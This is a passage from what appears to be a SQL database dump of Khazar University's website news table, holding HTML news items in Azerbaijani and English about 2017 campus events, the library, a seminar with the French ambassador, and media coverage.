style=\"text-align:justify\">Avropa və Şərq dillərində</a><span style=\"text-align:justify\"> olan </span><a href=\"https://az.wikipedia.org/w/index.php?title=%C4%B0qtisadiyyat_v%C9%99_menecment&amp;action=edit&amp;redlink=1\" title=\"İqtisadiyyat və menecment (səhifə mövcud deyil)\" style=\"text-align:justify\">iqtisadiyyat və menecment</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/w/index.php?title=M%C3%BCh%C9%99ndislik_v%C9%99_t%C9%99tbiqi_elml%C9%99r&amp;action=edit&amp;redlink=1\" title=\"Mühəndislik və tətbiqi elmlər (səhifə mövcud deyil)\" style=\"text-align:justify\">mühəndislik və tətbiqi elmlər</a><span style=\"text-align:justify\">,\r\n</span><a href=\"https://az.wikipedia.org/wiki/T%C9%99hsil\" title=\"Təhsil\" style=\"text-align:justify\">təhsil</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/wiki/Sosial_elml%C9%99r\" title=\"Sosial elmlər\" style=\"text-align:justify\">sosial elmlər</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/w/index.php?title=Siyasi_elml%C9%99r&amp;action=edit&amp;redlink=1\" title=\"Siyasi elmlər (səhifə mövcud deyil)\" style=\"text-align:justify\">siyasi elmlər</a><span style=\"text-align:justify\"> və </span><a href=\"https://az.wikipedia.org/wiki/Beyn%C9%99lxalq_m%C3%BCnasib%C9%99tl%C9%99r\" title=\"Beynəlxalq münasibətlər\" style=\"text-align:justify\">beynəlxalq\r\nmünasibətlər</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/wiki/H%C3%BCquq\" title=\"Hüquq\" style=\"text-align:justify\">hüquq</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/wiki/Dil\" title=\"Dil\" style=\"text-align:justify\">dil</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/wiki/%C4%B0nc%C9%99s%C9%99n%C9%99t\" title=\"İncəsənət\" style=\"text-align:justify\">incəsənət</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/wiki/Arxitektura\" title=\"Arxitektura\" style=\"text-align:justify\">arxitektura</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/wiki/F%C9%99ls%C9%99f%C9%99\" title=\"Fəlsəfə\" style=\"text-align:justify\">fəlsəfə</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/wiki/%C6%8Fd%C9%99biyyat\" title=\"Ədəbiyyat\" style=\"text-align:justify\">ədəbiyyat</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/wiki/Tarix\" title=\"Tarix\" style=\"text-align:justify\">tarix</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/wiki/Tibb\" title=\"Tibb\" style=\"text-align:justify\">tibb</a><span style=\"text-align:justify\"> və digər sahələrə aid çap və elektron\r\nmaterialları əhatə edir. Kitabxana materiallarının təxminən 75%-i ingilis\r\ndilindədir. Dünyada nəşr olunmuş dərsliklər, həmçinin </span><a href=\"https://az.wikipedia.org/w/index.php?title=X%C9%99z%C9%99r_Universitetinin_N%C9%99%C5%9Friyyat%C4%B1&amp;action=edit&amp;redlink=1\" title=\"Xəzər Universitetinin Nəşriyyatı (səhifə mövcud deyil)\" style=\"text-align:justify\">Xəzər Universitetinin Nəşriyyatın</a><span style=\"text-align:justify\">ın\r\nnəşrləri kitabxanada geniş əks olunub. </span><a href=\"https://az.wikipedia.org/wiki/X%C9%99z%C9%99r_Universiteti\" title=\"Xəzər Universiteti\" style=\"text-align:justify\">Xəzər\r\nUniversitetinin</a><span style=\"text-align:justify\"> KİM-in birdilli və ikidilli ensiklopediyalar da\r\ndaxil olmaqla zəngin soraq-məlumat kolleksiyası var. KİM kolleksiyanın sayını\r\nyeni materiallar satın almaqla yanaşı, hədiyyə və müxtəlif qrantlardan əldə\r\nedilmiş materiallar hesabına da artırır.</span><a href=\"https://az.wikipedia.org/wiki/X%C9%99z%C9%99r_Universiteti\" title=\"Xəzər Universiteti\"></a></p>\r\n<p style=\"text-align: justify;\" margin-top:6.0pt;margin-right:0in;margin-bottom:6.0pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">KİM <a href=\"https://az.wikipedia.org/wiki/Az%C9%99rbaycan\" title=\"Azərbaycan\">Azərbaycanda</a> ingilisdilli\r\ndərslik və digər materiallara görə ən geniş kitabxana olmaqla yanaşı həmçinin\r\nən böyük özəl universitet kitabxanasıdır.</p>\r\n<p style=\"text-align: justify;\" margin-top:6.0pt;margin-right:0in;margin-bottom:6.0pt;margin-left:0in;text-align:justify;line-height:normal;background:white\"\"=\"\">İstifadəçilər onlayn kataloq vasitəsilə ingilis,\r\nAzərbaycan, rus və digər dillərdə olan kitab jurnal, dövri mətbuat, video\r\nyazılar və CD-ROM-ların axtarışını apara bilərlər. Universitet kitabxanası öz\r\nelektron kataloqu (<a href=\"http://webopac.khazar.org/wx/S.exe\">http://webopac.khazar.org/wx/S.exe</a>) vasitəsilə dünya üzrə\r\nmövcud e-kitab, e-jurnal, veb sayt və məlumat bazalarına onlayn girişi təmin\r\nedir. Xəzər Universitetinin elektron kataloqu həm çap olunmuş, həm də çap\r\nolunmamış kitab, jurnal, multimedia və elektron resurslar kimi materialların\r\nbiblioqrafik yazılarını özündə əks etdirir.</p>\r\n<p style=\"text-align:justify\">Xəzər Universitetinin KİM məşğələlər, peşəkar\r\nkonsultasiya və köməklik məqsədilə bir çox elektron resurslara girişi təmin\r\nedir. Xəzər Universitetinin Azərbaycan Kitabxana Konsorsiumunda fəal iştirakı nəticəsində\r\n<a href=\"https://az.wikipedia.org/w/index.php?title=EBSCO&amp;action=edit&amp;redlink=1\" title=\"EBSCO (səhifə mövcud deyil)\">EBSCO</a> məlumatlar bazasına giriş və\r\ndigər nəşriyyat şirkətləri ilə əldə olunmuş razılığa əsasən istifadə etmək\r\nmümkün olmuşdur.</p>\r\n<p style=\"text-align:justify\">Tədqiqatçılarına kömək məqsədilə KİM tərəfindən Xəzər\r\nUniversitetinin Elektron Arxivi yaradılmışdır. Arxivə Xəzər Universitetinin və\r\nonlarla əməkdaşlıq edən tədqiqatçıların birgə apardıqları tədqiqat işləri daxil\r\nedilir. Bu kolleksiya Xəzər Universiteti Kitabxana İnformasiya Mərkəzi tərəfindən\r\nDspace proqram təminatı vasitəsilə təşkil olunur, yaddaşa salınır və yayılır.\r\nElektron arxivdən göstərilən ünvanda istifadə etmək olar:&nbsp;<a href=\"http://dspace.khazar.org/\">http://dspace.khazar.org</a> Arxivdəki mateiallar\r\nuniversitetin tədqiqatçıları tərəfindən seçilir və universitetlə əməkdaşlıq edən\r\ndigər tədqiqatçıların, əməkdaşların və tələbələrin maraqlarına cavab verir.</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;<img src=\"/files/letters/DSC_6634.jpg\" style=\"vertical-align:baseline;width:300px;height:201px\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<img src=\"/files/letters/DSC_0001.JPG\" style=\"vertical-align:baseline;width:300px;height:198px\"></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:left\">&nbsp; &nbsp; &nbsp;<img src=\"/files/letters/DSC_0021.JPG\" style=\"vertical-align:baseline;width:300px;height:198px\">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;   <img src=\"/files/letters/21743869_1714814231862308_3858926971270472522_o.jpg\" style=\"vertical-align:baseline;width:300px;height:200px\"><br></p>'),(3838,2236,'az','İntellektual oyunun final mərhələsi Xəzər Universitetində keçirildi','2017-ci il mayın 27-də 28 May – Respublika Gününə həsr olunmuş Knotty Game intellektual oyununun Universitetlərarası Final mərhələsi Xəzər Universitetinin “Mərmər” zalında baş...','<p>2017-ci il mayın 27-də 28 May –\r\nRespublika Gününə həsr olunmuş <strong><em>Knotty Game</em></strong> intellektual oyununun Universitetlərarası\r\nFinal mərhələsi Xəzər Universitetinin “Mərmər” zalında baş tutdu. IB Club Gənclər\r\nMərkəzi, LIB –dil kursları və Xəzər Universiteti Tələbə Məclisinin tərəfdaşlığı\r\nilə həyata keçən tədbirdə Xəzər Universiteti komandaları ilə bərabər, Bakı Dövlət\r\nUniversiteti, Azərbaycan Dövlət Mədəniyyət və İncəsənət Universiteti, ADA Universiteti,\r\nBakı Mühəndislik Universiteti, Bakı Ali Neft Məktəbi, Bakı Biznes Universiteti,\r\nAzərbaycan Dövlət İqtisad Universiteti, Azərbaycan Dövlət Neft və Sənaye\r\nUniversitetinin tələbələri də mübarizə apardılar. </p>\r\n<p>Oyun indiyədək\r\nmüxtəlif universitetlərdə həyata keçirilmiş və hər universitetdən müəyyən\r\nkomandalar finala vəsiqə qazanmışdır.</p>\r\n<p>3 mərhələdən ibarət\r\nintellektual oyunda:1-ci mərhələ dünyagörüşü; 2-ci mərhələ məntiq; 3-cü mərhələ\r\nisə “risk sənindir” adlanırdı.</p>\r\n<p>Yarışda 20 komanda\r\niştirak edirdi və ilk 3 yeri tutan komanda IB Club Gənclər Mərkəzi və LIB dil\r\nkursları tərəfindən dəyərli mükafatlarla təltif olundu.</p>'),(3839,2237,'en','Jean Monnet seminar on the European and Global Relations of France','On May 24, 2017, the Department of Political Science and International Relations of Khazar University hosted H.E. Aurélia Bouchez, Ambassador of France to Azerbaijan, to discuss the...','<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">On May 24, 2017, the Department of Political Science and\r\nInternational Relations of Khazar University hosted H.E. Aurélia Bouchez,\r\nAmbassador of France to Azerbaijan, to discuss the foreign policy of France\r\nfollowing the recent presidential elections.&nbsp;Ambassador Bouchez provided a\r\ngeneral overview of the French political process, including the pre-election\r\ncampaign of presidential candidates and their the foreign policy\r\npromises.&nbsp;Questions were asked about the European and Foreign Relations of\r\nFrance, the relations with the French Speaking Countries of the World and the\r\nFrench policy towards the peaceful resolution of the Nagorno Karabagh conflict.\r\n</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Following the seminar, Amb. Aurélia Bouchez met with Professor\r\nHamlet Isaxanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees to discuss the challenges and opportunities for the\r\ninteruniversity cooperation between the Azerbaijani and French institutions of\r\nhigher education.&nbsp;</p>'),(3840,2238,'az','“Xəzər”in rəqs qruplarının Giresunda Aksu festivalında iştirakının nəticələri haqqında müşavirə keçirildi','Xəbər verdiyimiz kimi, Xəzər Universitetinin oğlanlardan və qızlardan ibarət rəqs qrupları 2017-ci il mayın 18-dən 23-dək Türkiyənin Giresun şəhərində keçirilmiş 40-cı Beynəlxalq Aksu...','<p>Xəbər verdiyimiz kimi, Xəzər\r\nUniversitetinin oğlanlardan və qızlardan ibarət rəqs qrupları 2017-ci il mayın\r\n18-dən 23-dək Türkiyənin Giresun şəhərində keçirilmiş 40-cı Beynəlxalq Aksu\r\nfestivalında müvəffəqiyyətlə&nbsp; iştirak\r\netmişlər. </p>\r\n<p>Mayın 31-də universitetdə səfərin nəticələrinə həsr\r\nolunmuş müşavirə keçirildi. Müşavirədə universitetin rəhbərliyi, dekan və dekan\r\nmüavinləri, departament müdirləri, rəqs qruplarının üzvləri və rəhbərləri\r\niştirak edirdilər.</p>\r\n<p>Müşavirə səfər haqqında filmin nümayişi ilə\r\nbaşlandı. Sonra Giresuna səfərdə kollektivə rəhbərlik etmiş universitetin\r\nİctimai əlaqələr və media üzrə direktoru Əlövsət&nbsp;Əmirbəyli çıxış edərək, səfərin\r\nnəticələri, rəqs qruplarının çıxışlarının böyük müvəffəqiyyətlə keçməsi\r\nhaqqında ətraflı məlumat verdi. Rəqs qruplarının rəhbərləri - universitetin müəllimləri\r\nSəbinə İsmayılova və Telman Əliyev, universitetin Musiqi və incəsənət\r\ndepartamentinin müdiri Zülfiyyə Sadıqova çıxışlarında səfər təəssüratlarını\r\nbölüşdülər, universitet rəhbərliyinə festivalda iştiraklarına şərait\r\nyaratdığına&nbsp; görə təşəkkürlərini\r\nbildirdilər.</p>\r\n<p>Universitetin prorektoru Məhəmməd Nuriyev, dekan və\r\ndekan müavinləri də çıxış edərək, fikir və mülahizələrini bildirdilər.</p>\r\n<p>Sonda Xəzər Universitetinin təsisçisi, Direktorlar\r\nvə Qəyyumlar Şurasının sədri prpfessor Hamlet İsaxanlı rəqs qruplarının üzvlərini\r\nvə rəhbərlərini festivalda uğurlu çıxışlarına görə təbrik etdi, onlara yeni nailiyyətlər\r\narzuladı.</p>'),(3841,2228,'en','The event dedicated to ‘28th May – Republic  Day’ was held at Azerbaijan State Museum of History.','On 26th May, 2017, an event dedicated to ‘28 May – Republic Day’ was conducted at  Azerbaijan State Museum of History.The writer, film director Nazim Rza gave information...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">On 26th\r\nMay, 2017, an event dedicated to ‘28 May – Republic Day’ was conducted at&nbsp; Azerbaijan\r\nState Museum of History.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">The writer, film director Nazim Rza gave information about the film\r\n‘Struggle’. He noticed that rooted and rich moments of our history were\r\nreflected in this film. Later, the film was shown. After the film, the&nbsp; scientific adviser of the film, Professor of\r\nBSU Elmira Muradaliyeva delivered a speech.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">In her speech she noted that this film is based on historical sources\r\nand this event is associated with the opening of&nbsp; the newly formed \"Kinoclub\". </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Headed by the Roza Arazova, the head of the Department of History and\r\nArcheology of Khazar University, students majoing in History Teaching of the\r\nSchool of Education also took part in the event. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">At the end of the event, a film director Nazim Rza answered the\r\nstudents’ questions and expressed his deep gratitude.&nbsp;</p>'),(3842,2236,'en','The Final Stage of an Intellectual Game was held at Khazar University','On 27th of May, 2017, the interuniversity final stage of an intellectual “Knotty Game” dedicated to “May 28th- Republic Day” took place in Marble Hall of Khazar University. Khazar...','<p style=\"\" text-align:justify;text-indent:.25in;line-height:115%\"\"=\"\">On 27th of May, 2017, the\r\ninteruniversity final stage of an intellectual <strong>“Knotty Game”</strong> dedicated to “May 28th- Republic Day” took place in\r\nMarble Hall of Khazar University. Khazar University teams along with the students\r\nof Baku State University, Azerbaijan State University of Culture and Arts, ADA\r\nUniversity, Baku Engineering University, Baku Higher Oil School, Baku Business\r\nUniversity, Azerbaijan State Economic University, Azerbaijan State Oil and\r\nIndustry University competed in the event implemented within the cooperation of\r\nİB Club Youth Centre, LIB- language courses and Khazar University Student Union.</p>\r\n<p>The aforementioned game was held in various universities and\r\naccordingly, some teams from each university were qualified for the final.&nbsp; </p>\r\n<p>The three stage Knotty Game includes the first - ‘outlook’, the second -\r\n‘rationale’, and the final - ‘risk is yours’ stages.</p>\r\n<p>20 teams were involved in the game and teams which won the first three\r\nplaces were awarded by IB Club Youth Centre and LIB language courses.&nbsp;</p>'),(3843,2239,'az','“Xəzər Xəbər”  jurnalının aprel nömrəsi çapdan çıxıb','“Xəzər Xəbər” jurnalının 2017 - ci il aprel nömrəsi (361-ci nömrə) Xəzər Universitetinin mətbəəsində çapdan çıxmışdır. Jurnalı...','<p>“Xəzər Xəbər” jurnalının 2017 - ci il aprel nömrəsi (361-ci nömrə)\r\nXəzər Universitetinin mətbəəsində çapdan çıxmışdır. Jurnalı bu linkdə də oxuya bilərsiniz: <a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a></p>'),(3844,2230,'en','The evening dedicated to the work of Nailakhanim Isayeva, was held at “Dunya\" school. ','On May 27, 2017 the evening dedicated to composer activities of Nailakhanim Isayeva, the co-founder of ‘Dunya’ school, adviser to the Board of Directors and Trustees of Khazar...','<p>On\r\nMay 27, 2017 the evening dedicated to composer activities of Nailakhanim\r\nIsayeva, the co-founder of ‘Dunya’ school, adviser to the Board of Directors\r\nand Trustees of Khazar University, was conducted in the concert-conference Hall\r\nof Dunya School.</p>\r\n<p>The\r\nadministration and staff of ‘Dunya’ school, the management and staff of Khazar\r\nUniversity, headed by Professor Hamlet Isakhanli, the&nbsp; Founder of Khazar University and\r\nChairman of its Board of Directors and Trustees,including the\r\nleadership of a number of higher education institutions, representatives of\r\ncreative unions and the invited guests took part in the event.</p>\r\n<p>After\r\nthe opening of the evening, the documentary film entitled \"Lily of the\r\nValley\" dedicated to the life and creative activity of Nailakhanim Isayeva\r\nand Hamlet Isakhanli was demonstrated.</p>\r\n<p>&nbsp;The film aroused great interest and attention\r\nof the audience, in which along with fragments of family life, the moments of\r\nsuccessful creative activity of the poet and composer were shown. </p>\r\n<p>It\r\nshould be noted that all the compositions of Nailakhanim Isayeva were written to\r\nthe words of Hamlet Isakhanli. The film was produced by a creative group, which\r\nincluded Mir Rafig Abdulrahimov, Afag Gambarova, Murad Allahverdiyev, Lala\r\nHasanova, Huseyn Gahramanli and Nigar Farmanova.</p>\r\n<p>After\r\nthe film, which was greeted with applause by the audience, a concert programme that\r\ncontained the songs of Nailakhanim Isayeva was presented. Compositions were\r\nperformed by Brilliant Dadasheva, National Artist of the Republic of\r\nAzerbaijan, &nbsp;Murad Hagverdiev,&nbsp; Winner of the School Festival\r\n\"Culture\" of Sumgait city, conducted by the initiative and participation\r\nof ‘Dunya’ school, Arzu Omarova, teacher of ‘Dunya’ school, &nbsp;Manana, Ilgar Muradov, Farid Aliyev, Honored Artists\r\nof the Republic of Azerbaijan and Mahsati Jabbarova ,&nbsp; teacher of Khazar University&nbsp; accompanied by the Chamber Orchestra of the\r\nUniversity, the head of the Department of Music and Fine Arts, the pianist\r\nZulfiyya Sadigova and the teacher of ‘Dunya’ school, the pianist Nargiz\r\nGozalova. </p>\r\n<p>Moreover,\r\na dance group, consisting of girls from Khazar University, presented a dance to\r\nthe audience. The hymn of ‘Dunya’school, written by Nailakhanim Isayeva to the\r\nwords of Hamlet Isakhanli, was performed by the schoolchildren of \"Dunya\".</p>\r\n<p>The\r\nacting rector of Azerbaijan State University of Languages, &nbsp;​​Afgan Abdullayev, vice-rector of Baku\r\nMusical Academy named after Uzeyir Hajibeyov, national artist, teacher of Khazar\r\nUniversity, professor Yegana Akhundova, Deputy Head of executive power of\r\nSumgait city, Teymur Samadov, on behalf of the whole family Aygun Isayeva, the\r\ndirector of Dunya school Marufa Madatli congratulated Nailakhanim Isayeva on a\r\ncreative evening and expressed their best wishes. Marufa Madatli presented a\r\nportrait of Naila Isayeva, drawn by the painter Anar Shahvaladov. Dean of the\r\nSchool of Education of Khazar University, Elsa Samadova read a congratulatory\r\nletter on behalf of the university staff and handed it to her. </p>\r\n<p>Chairman\r\nof the Education Council of the Republic of Azerbaijan, Doctor of Pedagogical Sciences,\r\nprofessor and owner of the presidential scholarship, Ajdar Agayev noted that\r\nNailakhanim Isayeva was awarded with the \"Achievement\" award of\r\nNational Education Board and presented the diploma to her.</p>\r\n<p>In\r\ncongratulations, Nailakhanm Isayeva was characterized as an innovative\r\neducational leader, continuing the traditions of enlightener women of\r\nAzerbaijan. It was pointed out that she, together with Hamlet Isakhanli rendered\r\nenormous services in the foundation and development of the unique educational\r\ninstitutions - Khazar University and Dunya School and ‘Dunya School’ achieved\r\ngreat success under Nailakhanim Isayeva’s leadership.</p>\r\n<p>The\r\nevening ended by fireworks and cutting a cake by Nailakhanim Isayeva.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Congratulation of Khazar University</strong></p>\r\n<p>Dear\r\nNailakhanim!</p>\r\n<p>Congratulations\r\non the evening dedicated to your creative work! You are a very dear and\r\nvaluable person for the \"Khazar family\"! You have earned deep respect\r\nand sincere love of our team with your kindness, simplicity, prudent and\r\nobjective attitude.</p>\r\n<p>On\r\neach page, in every line of the 26-year-old complex history of Khazar\r\nUniversity\'s book, there is your enormous work and undeniable role.</p>\r\n<p>Khazar\r\nUniversity, founded in a difficult period for the whole of our country, in the\r\n90s, as a child, making its first steps, grew up every year with your warm\r\nbreath, mother\'s love and care,&nbsp; patient\r\nand determination of a spouse, achieved a success. No matter how we grow up, no\r\nmatter how our staff enlarges, no matter how the generation is replaced by the\r\nother one, the kind, friendly team, the foundation that you have laid down, the\r\nteam spirit of the \"Khazar family\" has become an ever stronger and\r\nirreplaceable value. </p>\r\n<p>At\r\nthe same time, you please our soul and enrich our aesthetic taste with your\r\ncreativity and talent, with your elegant music. </p>\r\n<p>You\r\ndevoted the best years of your life to the family of Isakhanli, the \"Khazar\r\nfamily\" and your youngest child - school \"Dunya\". &nbsp;You have brought this little child to the\r\nworld, and made his first steps at Khazar University. The small plane tree has\r\ngrown and branched out by its young seedlings outside of Azerbaijan.</p>\r\n<p>You,\r\nalong with our dear Hamlet Isakhanli, provided invaluable services for the\r\nAzerbaijani society, which entered the beginning of history.</p>\r\n<p>In\r\norder for the Azerbaijani youth to grow up as a conscious, active and\r\ndemocratic citizen, you have created educational institutions, starting from\r\nthe pre-school stage and up to the highest level of education, meeting the\r\nneeds of teaching and learning of the society and raised the level of education\r\nin Azerbaijan that can compete with the world education.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Dear\r\nNaila khanim!</strong></p>\r\n<p>On\r\nbehalf of the \"Khazar family\" we wish you long years of life, new\r\ncreative successes and stories of all your \"children’s\" growing\r\nsuccess that you will be proud of.</p><p><br></p>\r\n<p><strong>The\r\nstaff of Khazar University</strong></p><p style=\"text-align:left\"><span style=\"text-align:center\"><strong>May 27, 2017</strong></span></p>'),(3845,2240,'az','Vurğun Əyyubun məqaləsi yayınlandı','2017-ci il iyunun 2-də Xəzər Universitetinin dosenti, Azərbaycan dili və ədəbiyyatı departamentinin müdiri Vurğun Əyyubun “Hekayə təhlilləri” silsiləsindən yazıçı Nəriman...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil iyunun 2-də Xəzər Universitetinin dosenti, Azərbaycan dili və ədəbiyyatı\r\ndepartamentinin müdiri Vurğun Əyyubun “Hekayə təhlilləri” silsiləsindən yazıçı\r\nNəriman Əbdülrəhmanlının “Qapı” hekayəsinin təhlilinə həsr olunmuş məqaləsi <strong><em>xeber365.com</em></strong>\r\nsaytında yayınlanmışdır. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Məqaləni\r\nbu link vasitəsilə oxumaq olar: &nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://xeber365.com/haber-n.-bdulr-hmanlinin-qapi-si-onund-dusunc-l-r-7932.html\">http://xeber365.com/haber-n.-bdulr-hmanlinin-qapi-si-onund-dusunc-l-r-7932.html</a>.&nbsp;</p>'),(3846,2238,'en','“The meeting was held on the outcomes of the participation of Khazar dance groups in Aksu Festival in Giresun, Turkey”','As reported earlier, the university dance gorups of girls and boys successfully participated in an International Aksu Festival held in Giresun city, Turkey on May 18 - 23, 2017...','<p>As reported earlier, the university dance gorups of\r\ngirls and boys successfully participated in an International Aksu Festival held\r\nin Giresun city, Turkey on May 18 - 23, 2017. </p>\r\n<p>The meeting dedicated to the results of the trip was\r\nheld at Khazar University on 31st of May. The university administration, deans\r\nand deputy deans, heads of departments, members and leaders of dance groups\r\ntook part in the meeting.</p>\r\n<p>The meeting started with the presentation of\r\ntrip-related film. Afterwards, the Director of Public Relations and Media,\r\nAlovsar Amirbayli, who led the team on a trip to Giresun, gave detailed\r\ninformation about the outcomes of the visit and stressed a highly successful\r\nperformance of the dance groups. The leaders of dance groups - university\r\nteachers, Sabina Ismayilova and Telman Aliyev and Zulfiyya Sadigova, the head\r\nof the department of Music and Art, shared their impressions and expressed\r\ntheir deep gratitude to the university administration for creating such an\r\nopportunity to participate in the festival.</p>\r\n<p>The Vice Rector of the university, Mahammad Nuriyev,\r\ndeans and deputy deans also made speeches and shared their valuable views with\r\nthe audience. </p>\r\n<p>In the end, Professor\r\nHamlet Isaxanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees congratulated the members and leaders of dance groups on\r\ntheir successful performance and wished them new achievements.&nbsp;</p>'),(3847,2237,'az','Fransanın Avropa və qlobal münasibətləri üzrə Jan Monne seminarı','2017-ci il mayın 24-də Xəzər Universitetinin Siyasi elm və beynəlxalq münasibətlər departamenti Fransanın Azərbaycandakı səfiri xanım Aureliya Buşeni son prezident seçkilərindən...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">2017-ci il mayın 24-də Xəzər\r\nUniversitetinin Siyasi elm və beynəlxalq münasibətlər departamenti Fransanın Azərbaycandakı\r\nsəfiri xanım Aureliya Buşeni son prezident seçkilərindən sonra Fransanın mövcud\r\nxarici siyasəti ilə bağlı müzakirələr aparmağa dəvət etmişdi. Səfir Buşe\r\nFransada prezidentliyə namizədlərin seçki qabağı keçirdiyi kampaniyaların,\r\nonların xarici siyasətlə bağlı verdiyi vədlərin, o cümlədən, Fransada baş verən\r\nsiyası proseslərin ümumi icmalını təqdim etdi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">Seminarda Fransanın Avropa və xarici,\r\neləcə də, dünyanın fransız dilində danışan ölkələri ilə əlaqələri barədə, habelə,\r\nDağlıq Qarabağ münaqişəsinin sülh yolu ilə həll olunması istiqamətində\r\nFransanın siyasi münasibəti ilə bağlı suallar verildi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">Seminardan sonra səfir Aureliya Buşe\r\nXəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri\r\nprofessor Hamlet İsaxanlı ilə görüşdü, Azərbaycan və Fransa ali təhsil müəssisələri\r\narasında əməkdaşlıq münasibətlərinin qurulması istiqamətində mövcud imkanları\r\nmüzakirə etdilər.</p>'),(3848,2241,'az','Xəzər Universiteti haqqında mediada','2017-ci il iyunun 1-də Xəzər Universiteti haqqında “Xəzər Universitetini 2 milyon dollardan məhrum ediblər” adlı məqalə xeber365.com saytında yayınlanmışdır...','<p>2017-ci il iyunun 1-də Xəzər Universiteti haqqında\r\n“Xəzər Universitetini 2 milyon dollardan məhrum ediblər” adlı məqalə <strong><em>xeber365.com</em></strong>\r\nsaytında yayınlanmışdır. </p>\r\n<p>Məqaləni bu link vasitəsilə oxumaq olar:&nbsp; </p>\r\n<p><a href=\"http://xeber365.com/haber-x-z-r-universitetini-2-milyon-dollardan-m-hrum-edibl-r-7918\">http://xeber365.com/haber-x-z-r-universitetini-2-milyon-dollardan-m-hrum-edibl-r-7918</a>.&nbsp;</p>'),(3849,2242,'az','Hamlet İsaxanlı rəssam Kamal Əhmədə həsr olunmuş tədbirdə çıxış etdi','2017-ci il iyunun 1-də azadinform.az xəbər saytında “Xalq əmanəti” layihəsi çərçivəsində rəssam Kamal Əhmədə həsr olunmuş tədbirdən geniş yazı yayınlanmışdır...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil iyunun 1-də <strong><em>azadinform.az</em></strong> xəbər saytında “Xalq əmanəti” layihəsi çərçivəsində\r\nrəssam Kamal Əhmədə həsr olunmuş tədbirdən geniş yazı yayınlanmışdır. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Yazının\r\nbir hissəsini Xəzər Universitetinin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının çıxışı təşkil\r\nedir. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Məqaləni\r\nbu link vasitəsilə oxumaq olar:&nbsp; </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.azadinform.az/news/a-143516.html\">http://www.azadinform.az/news/a-143516.html</a>.&nbsp;</p>'),(3850,2243,'az','Xəzər Universitetinin tələbələri xalq şairini yad etdilər','2017-ci il mayın 28-də Xəzər Universitetinin müəllimi Qardaşxan Əzizxanlı və universitetin tələbələri xalq şairi Söhrab Tahirin xatirəsinə həsr olunmuş tədbirdə iştirak etdilər...','<p>2017-ci\r\nil mayın 28-də Xəzər Universitetinin müəllimi Qardaşxan Əzizxanlı və\r\nuniversitetin tələbələri<strong>&nbsp;</strong>xalq\r\nşairi Söhrab Tahirin xatirəsinə həsr olunmuş tədbirdə iştirak etdilər.</p>\r\n<p>Bu\r\nhaqdaAzərbaycan Dövlət İnformasiya\r\nAgentliyinin (AzərTAc) rəsmi internet səhifəsində məlumat yayılmışdır.</p>\r\n<p>Materialı bu link vasitəsilə oxumaq olar:&nbsp; </p>\r\n<p><a href=\"http://azertag.az/xeber/Xalq_Sairi_Sohrab_Tahirin_xatiresi_anilib-1065505\">http://azertag.az/xeber/Xalq_Sairi_Sohrab_Tahirin_xatiresi_anilib-1065505</a>.<strong></strong></p>'),(6125,3490,'az','PhD tələbənin sərgisi olacaq','2018-ci il oktyabrın 15-i və 16-da Xəzər Universitetinin “Nefçilər” kampusunda universitetin PhD tələbəsi 